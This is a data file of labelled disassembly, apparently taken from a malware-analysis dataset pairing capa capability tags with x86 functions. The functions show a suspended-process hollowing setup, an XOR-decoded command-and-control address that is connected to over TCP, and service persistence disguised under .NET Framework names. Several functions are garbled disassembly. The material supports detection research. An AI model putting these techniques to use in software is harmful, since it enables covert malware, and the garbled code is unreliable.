joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401331
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
push esi
push edi
push 0x44
xor esi, esi
pop edi
lea eax, [ebp - 0x74]
push edi
push esi
push eax
call sub.MSVCRT.dll_memset
push 0x10
lea eax, [ebp - 0x14]
push esi
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0x14]
mov dword [ebp - 0x74], edi
push eax
lea eax, [ebp - 0x74]
push eax
push esi
push esi
push 4
push esi
push esi
push esi
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
cmp eax, esi
mov dword [ebp + 8], eax
je 0x4013db
mov edi, dword [ebp + 0x10]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
mov esi, dword [ebp + 0xc]
mov dword [edi], eax
mov eax, dword [ebp + 0x14]
push ebx
push esi
mov dword [eax], ecx
mov ecx, dword [ebp + 0x18]
mov dword [ecx], edx
mov dword [esi], 0x10007
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov ebx, dword [ebp + 0x1c]
lea eax, [ebp - 4]
push eax
mov eax, dword [esi + 0xa4]
push 4
add eax, 8
push ebx
push eax
push dword [edi]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov esi, dword [ebx]
lea eax, [ebp - 0x30]
push 0x1c
push eax
push esi
push dword [edi]
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
sub esi, dword [ebx]
mov eax, dword [ebp + 0x20]
pop ebx
mov dword [eax], esi
mov eax, dword [ebp + 8]
pop edi
pop esi
leave
ret
Function at 0x4015c1
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
lea eax, [ebp + 0xc]
push esi
push eax
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
or esi, 0xffffffff
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040109e
add esp, 0x18
test eax, eax
je 0x40161b
push dword [ebp + 0x14]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [ebp - 8]
push dword [ebp + 0x10]
call fcn.004013e2
add esp, 0x18
mov esi, eax
push 0x4000
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x401626
push str.AlignPEToMem
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, esi
pop esi
leave
ret

Function at 0x40170d
Capabilities:
Resolve dns

Disassembly:
push dword [esp + 4]
call dword [sym.imp.WS2_32.dll_inet_addr]
test eax, eax
jge 0x401731
push dword [esp + 4]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x40172a
ret
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
ret

Function at 0x40177f
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x4017cb
mov eax, dword [ebp + 8]
push dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov word [ebp - 0x10], 2
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0xe], ax
lea eax, [ebp - 0x10]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4017d0
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
jmp 0x4017d2
mov eax, esi
pop esi
leave
ret

Function at 0x402a1e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call fcn.004028ea
pop ecx
xor edx, edx
test eax, eax
pop ecx
jle 0x402a51
mov ecx, dword [ebp - 4]
add byte [ecx + edx], 0x85
add ecx, edx
mov ecx, dword [ebp - 4]
xor byte [ecx + edx], 0xc8
add ecx, edx
inc edx
cmp edx, eax
jl 0x402a3a
mov eax, dword [ebp - 4]
leave
ret
Function at 0x402a99
Capabilities:
Create thread
Print debug messages

Disassembly:
push ebx
push ebp
push esi
mov esi, dword [esp + 0x10]
push edi
xor edi, edi
cmp dword [esi + 0x118], edi
jne 0x402ab7
cmp dword [0x40523c], edi
je 0x402c2d
mov dword [0x40523c], edi
mov eax, dword [esi + 4]
dec eax
je 0x402bea
dec eax
je 0x402ba5
dec eax
dec eax
je 0x402b64
dec eax
je 0x402b23
sub eax, 3
jne 0x402c2d
mov ebp, dword [sym.imp.KERNEL32.dll_CreateThread]
push edi
push edi
push esi
push 0x402a56
push edi
push edi
call ebp
xor ebx, ebx
cmp dword [esi + 0x8c], edi
jle 0x402c2d
push edi
push edi
push esi
push 0x401ed9
push edi
push edi
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
cmp ebx, dword [esi + 0x8c]
jl 0x402b02
jmp 0x402c2d
mov ebp, dword [sym.imp.KERNEL32.dll_CreateThread]
push edi
push edi
push esi
push 0x402a56
push edi
push edi
call ebp
xor ebx, ebx
cmp dword [esi + 0x8c], edi
jle 0x402c2d
push edi
push edi
push esi
push 0x401c28
push edi
push edi
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
cmp ebx, dword [esi + 0x8c]
jl 0x402b43
jmp 0x402c2d
mov ebp, dword [sym.imp.KERNEL32.dll_CreateThread]
push edi
push edi
push esi
push 0x402a56
push edi
push edi
call ebp
xor ebx, ebx
cmp dword [esi + 0x8c], edi
jle 0x402c2d
push edi
push edi
push esi
push 0x401a42
push edi
push edi
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
cmp ebx, dword [esi + 0x8c]
jl 0x402b84
jmp 0x402c2d
mov ebp, dword [sym.imp.KERNEL32.dll_CreateThread]
push edi
push edi
push esi
push 0x402a56
push edi
push edi
call ebp
xor ebx, ebx
cmp dword [esi + 0x8c], edi
jle 0x402c2d
push edi
push edi
push esi
push 0x4017d5
push edi
push edi
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.TCP2
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
inc ebx
cmp ebx, dword [esi + 0x8c]
jl 0x402bc1
jmp 0x402c2d
mov ebp, dword [sym.imp.KERNEL32.dll_CreateThread]
push edi
push edi
push esi
push 0x402a56
push edi
push edi
call ebp
xor ebx, ebx
cmp dword [esi + 0x8c], edi
jle 0x402c2d
push edi
push edi
push esi
push 0x401932
push edi
push edi
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.TCP1
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
inc ebx
cmp ebx, dword [esi + 0x8c]
jl 0x402c06
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x402dc8
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90
and byte [ebp - 0x90], 0
push esi
push edi
push 0x1f
pop ecx
xor eax, eax
lea edi, [ebp - 0x8f]
push str.dHR5YXVzeGF0enphdHZ1bXVzdGxD
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.00402a1e
push eax
lea eax, [ebp - 0x90]
push eax
call sub.MSVCRT.dll_strcpy
mov edi, 0x405fb0
lea eax, [ebp - 0x90]
push edi
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 0x14
mov esi, 0x4052c4
test eax, eax
je 0x402e6e
push ebx
push 0x80
push 0
push esi
call sub.MSVCRT.dll_memset
mov ebx, dword [sym.imp.MSVCRT.dll_strcspn]
lea eax, [ebp - 0x90]
push edi
push eax
call ebx
push eax
lea eax, [ebp - 0x90]
push eax
push esi
call dword [sym.imp.MSVCRT.dll_strncpy]
lea eax, [ebp - 0x90]
push edi
push eax
call ebx
lea eax, [ebp + eax - 0x8f]
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
add esp, 0x2c
mov dword [0x405344], eax
pop ebx
mov ax, word [0x405344]
mov word [ebp - 0x10], 2
push eax
call dword [sym.imp.WS2_32.dll_htons]
push esi
mov word [ebp - 0xe], ax
call fcn.0040170d
pop ecx
mov dword [ebp - 0xc], eax
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
lea eax, [ebp - 0x10]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x402ebb
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
jmp 0x402ebd
mov eax, esi
pop edi
pop esi
leave
ret

Function at 0x4031e9
Capabilities:
Check mutex on windows
Create thread
Initialize winsock library

Disassembly:
sub esp, 0x190
push esi
push edi
xor edi, edi
push 0x4052c4
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x403264
lea eax, [esp + 8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push edi
push edi
push edi
push 0x402f14
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [0x406118]
call dword [sym.imp.WS2_32.dll_closesocket]
push 0x12c
mov dword [0x40523c], 1
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40321f
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
add esp, 0x190
ret
Function at 0x4034c7
Capabilities:
Create service
Persist via windows service
Print debug messages
Set registry value
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push ebx
push esi
push edi
push 0x406064
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0x40
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x113]
mov byte [ebp - 0x114], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0xf003f
push ebx
push ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
stosb byte es:[edi], al
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
cmp eax, ebx
mov dword [ebp - 0x10], eax
je 0x4035c4
push ebx
push ebx
push ebx
push ebx
push ebx
mov edi, 0xf01ff
push dword [ebp + 0x14]
push ebx
push 2
push 0x10
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov esi, dword [sym.imp.ADVAPI32.dll_StartServiceA]
cmp eax, ebx
mov dword [ebp - 4], eax
jne 0x40356a
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x40356a
push edi
push dword [ebp + 8]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
cmp eax, ebx
mov dword [ebp - 0xc], eax
je 0x4035c4
push ebx
push ebx
push eax
call esi
push ebx
push ebx
push dword [ebp - 4]
call esi
test eax, eax
je 0x4035c4
push dword [ebp + 8]
lea eax, [ebp - 0x114]
push str.SYSTEMCurrentControlSetServices_s
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x114]
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push dword [ebp + 0x10]
call sub.MSVCRT.dll_strlen
pop ecx
inc eax
push eax
lea eax, [ebp - 0x114]
push dword [ebp + 0x10]
push 1
push ebx
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp dword [ebp - 8], ebx
je 0x4035d2
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0xc], ebx
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
je 0x4035e2
push dword [ebp - 4]
call edi
cmp dword [ebp - 0x10], ebx
je 0x4035ec
push dword [ebp - 0x10]
call edi
cmp dword [ebp - 4], ebx
je 0x4035f6
push dword [ebp - 4]
call edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4035fb
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Initialize winsock library
Print debug messages
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c4
push ebx
push esi
push edi
call dword [sym.imp.USER32.dll_GetInputState]
xor esi, esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
push esi
push esi
lea eax, [ebp - 0x2c]
push esi
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
mov edi, 0x104
lea eax, [ebp - 0x130]
push edi
push esi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x130]
push edi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push eax
call ebx
lea eax, [ebp - 0x130]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x403681
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x403681
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea eax, [ebp - 0x234]
push edi
push eax
push esi
call ebx
lea eax, [ebp - 0x10]
mov edi, str..Net_CLR
push eax
mov dword [ebp - 0x10], edi
mov dword [ebp - 0xc], 0x4032a3
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
test eax, eax
jne 0x4036cb
lea eax, [ebp - 0x234]
push eax
push str.Microsoft_.NET_COM_Integration_with_SOAP
push str.Microsoft_.Net_Framework_COM_Support
push edi
call fcn.004034c7
add esp, 0x10
jmp 0x4036d6
push 0x406070
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea eax, [ebp - 0x3c4]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10
Function at 0x432004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x432072
nop
mov ebx, 0x40c7d0
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x71d97345
nop
nop
nop
nop
xor dword [eax], esi
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x432060
nop
mov eax, section..tls
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x4320d2
nop
nop
mov ebx, 0x42f314
nop
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x1467135
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
loop 0x4320c0
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x40693c
Capabilities:
Hash data using djb2

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
push edi
xor esi, esi
mov edx, dword [eax + 4]
mov edi, dword [eax]
add edx, edx
mov eax, 0x1505
test edx, edx
jle 0x406964
movzx ecx, byte [esi + edi]
imul eax, eax, 0x21
add eax, ecx
inc esi
cmp esi, edx
jl 0x406956
pop edi
pop esi
pop ebp
ret 4
Function at 0x40bec0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
xor ecx, ecx
mov dword [esp + 0x24], 1
mov dword [esp + 0x18], ecx
or ebx, 0xffffffff
mov dword [esp + 0x20], ecx
mov eax, dword [edi + 4]
mov dword [esp + 0x10], ecx
mov eax, dword [eax]
mov dword [esp + 0x14], eax
movsx eax, word [eax + 8]
sub eax, ecx
je 0x40bf27
sub eax, 1
je 0x450474
sub eax, 0x32
jne 0x4503eb
push edi
mov ecx, esi
call fcn.0040dfd0
lea ecx, [esp + 0x18]
call fcn.0040cfa0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
push dword [ebp + 0xc]
mov ecx, esi
push edi
call fcn.0040dd50
test ebx, ebx
js 0x40bf15
jmp 0x45048e
or ch, bl
and dword [edi], ecx
sub ecx, dword [ebx + ecx*4]
jmp 0x8b4e8ff5
jmp 0x4504ba
and al, 0x14

Function at 0x40bf40
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xb4
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 0x10]
push edi
mov eax, dword [ebx + 4]
mov edi, ecx
Function at 0x41c574
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
mov esi, dword [ebp + 0x10]
mov eax, 0xff
push edi
mov edi, dword [ebp + 0x14]
mov ebx, edi
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], ecx
cmp edi, eax
ja 0x45b8ca
mov eax, dword [ebp + 8]
xor ecx, ecx
mov dword [ebp - 4], ecx
test al, 1
jne 0x45b8d1
and eax, 0x800
mov dword [ebp + 8], eax
je 0x45b9c9
mov dword [ebp - 0x18], esi
cmp esi, ebx
ja 0x41c5ec
mov edi, dword [ebp - 8]
mov eax, ebx
sub eax, esi
inc ecx
add ecx, eax
mov dword [ebp - 4], ecx
mov edx, esi
mov eax, esi
shr edx, 3
and eax, 7
movzx ecx, byte [edx + edi]
cmp cl, byte [edi]
stosd dword es:[edi], eax
rol dword [esi - 0x78], 0xc
cmp bh, byte [ebx]
jbe 0x41c5ca
mov esi, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
mov eax, dword [ebp + 8]
cmp esi, 0xff
ja 0x41c5f9
mov esi, 0x100
cmp edi, esi
jae 0x45b9e0
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret
fmul dword [edi]
push 0xf
jmp 0x45b8df
push ds
mov eax, dword [ebp + 0xc]
pop ecx
mov dword [eax], ecx
jmp 0xec4b21fe
adc byte [ecx], al
inc ebp
cld
jmp 0xba25a37
inc eax
mov dword [ebp - 4], eax
push cs
sbb byte [ebx + ecx*4], cl
inc eax
add al, 0xf
mov dh, 0x14
cmp byte [ebx - 0x350407bb], cl
shr ecx, 3
and edx, 7
movzx eax, byte [ecx + eax]
bts eax, edx
mov ah, 0x18
clc
inc edi
mov byte [ecx + edx], al
cmp edi, ebx
jbe 0x45b9e4
mov edi, dword [ebp + 0x14]
cmpsd dword [esi], dword es:[edi]
sbb byte [esi + 0x6a], ah
dec ebp
cld
jmp 0xc41c5f8
Function at 0x41fe35
Capabilities:
Enumerate pe sections

Disassembly:
sub ecx, eax
mov eax, dword [ebp + 8]
or bl, dl
enter 0x533, 0x14
adc al, 0xc0
dec esp
add byte [ebp - 0x3d], bl

Function at 0x471fac
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
sub dword [0x4d06e0], 1
jne 0x471fba
call fcn.00472096
mov eax, dword [0x4d2ff4]
mov ecx, dword [eax]
add eax, 4
mov dword [0x4d2ff4], eax
mov eax, ecx
shr eax, 0xb
xor ecx, eax
mov eax, ecx
and eax, 0xff3a58ad
shl eax, 7
xor ecx, eax
mov eax, ecx
and eax, 0xffffdf8c
shl eax, 0xf
xor ecx, eax
mov eax, ecx
shr eax, 0x12
xor eax, ecx
shr eax, 1
ret

Function at 0x471ff2
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
sub dword [0x4d06e0], 1
jne 0x472005
call fcn.00472096
mov eax, dword [0x4d2ff4]
mov ecx, dword [eax]
add eax, 4
mov dword [0x4d2ff4], eax
mov eax, ecx
shr eax, 0xb
xor ecx, eax
mov eax, ecx
and eax, 0xff3a58ad
shl eax, 7
xor ecx, eax
mov eax, ecx
and eax, 0xffffdf8c
shl eax, 0xf
xor ecx, eax
mov eax, ecx
shr eax, 0x12
xor eax, ecx
mov dword [ebp - 4], eax
fild dword [ebp - 4]
jns 0x472048
fadd qword [0x4c81c0]
fstp qword [ebp - 8]
fld qword [ebp - 8]
fmul qword [0x4c8190]
leave
ret

Function at 0x472056
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push esi
xor esi, esi
mov dword [0x4d2630], ecx
inc esi
mov edx, esi
mov eax, dword [edx*4 + 0x4d262c]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [edx*4 + 0x4d2630], eax
inc edx
cmp edx, 0x458b0270
jl 0x472062
mov dword [0x4d06e0], esi
mov dword [0x4d2ff0], esi
pop esi
ret

Function at 0x472096
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [0x4d2ff0], 0
push esi
push edi
mov esi, 0x4d2630
jne 0x4720b9
push 0
call fcn.0042e538
pop ecx
mov ecx, eax
call 0x51472056
mov dword [0x4d06e0], 0x458b0270
mov edx, 0xe3
mov dword [0x4d2ff4], esi
mov eax, dword [esi + 4]
mov ecx, dword [esi]
xor ecx, eax
and al, 1
and ecx, 0x7f0b5cfe
movzx eax, al
xor ecx, dword [esi]
shr ecx, 1
neg eax
sbb eax, eax
and eax, 0x9908b0df
xor ecx, eax
xor ecx, dword [esi + 0x458b0634]
mov dword [esi], ecx
add esi, 4
sub edx, 1
jne 0x4720ce
mov eax, dword [esi]
mov dword [ebp - 4], 0xd18b018c
mov edi, dword [esi + 4]
mov ecx, eax
xor ecx, edi
and ecx, 0x7f0b5cfe
xor ecx, eax
mov eax, edi
and al, 1
shr ecx, 1
movzx eax, al
neg eax
sbb eax, eax
and eax, 0x9908b0df
xor ecx, eax
mov eax, edi
xor ecx, dword [esi - 0x38c]
sub dword [ebp - 4], 1
mov dword [esi], ecx
lea esi, [esi + 4]
jne 0x472108
mov eax, dword [0x4d2630]
mov ecx, edi
xor ecx, eax
and al, 1
and ecx, 0x7f0b5cfe
movzx eax, al
xor ecx, edi
shr ecx, 1
neg eax
pop edi
sbb eax, eax
and eax, 0x9908b0df
xor ecx, eax
xor ecx, dword [esi - 0x38c]
mov dword [esi], ecx
pop esi
leave
ret
Function at 0x47294e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe0
push ebx
push esi
push edi
mov edi, ecx
mov ebx, edx
lea ecx, [ebp - 0xdc]
call 0x647279e
in al, dx
jne 0x472974
lea ecx, [ebp - 0xdc]
call fcn.004727e2
xor esi, esi
test ebx, ebx
je 0x472992
invalid
push ecx
push ecx
lea ecx, [ebp - 0xdc]
call 0xba3ca22
xor byte [esi + edi], al
inc esi
cmp esi, ebx
jb 0x47297d
pop edi
pop esi
pop ebx
leave
ret

Function at 0x492ce3
Capabilities:
Encode data using xor

Disassembly:
mov dword [edi + 0x20], eax
lea eax, [ebp - 4]
push eax
call 0x5dd48721
fiadd dword [eax]
dec eax
cmp eax, 0x14
invalid

Function at 0x41c960
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x17000]
push edi
or ebp, 0xffffffff
jmp 0x41c982
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x41c989
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x41c978
mov eax, 1
add ebx, ebx
jne 0x41c99b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x41c990
jne 0x41c9ac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41c990
xor ecx, ecx
sub eax, 3
jb 0x41c9c0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x41ca32
mov ebp, eax
add ebx, ebx
jne 0x41c9cb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x41c9d8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x41c9fc
inc ecx
add ebx, ebx
jne 0x41c9e8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x41c9dd
jne 0x41c9f9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41c9dd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41ca1c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41ca0d
jmp 0x41c97e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41ca1c
add edi, ecx
jmp 0x41c97e
pop esi
mov edi, esi
mov ecx, 0x1ff
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41ca3a
cmp byte [edi], 1
jne 0x41ca3a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x41ca3f
lea edi, [esi + 0x1a000]
mov eax, dword [edi]
or eax, eax
je 0x41caae
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1cbbc]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1cc48]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41ca6c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1cc4c]
or eax, eax
je 0x41caa8
mov dword [ebx], eax
add ebx, 4
jmp 0x41ca89
call dword [esi + 0x1cc50]
popal
jmp 0x406410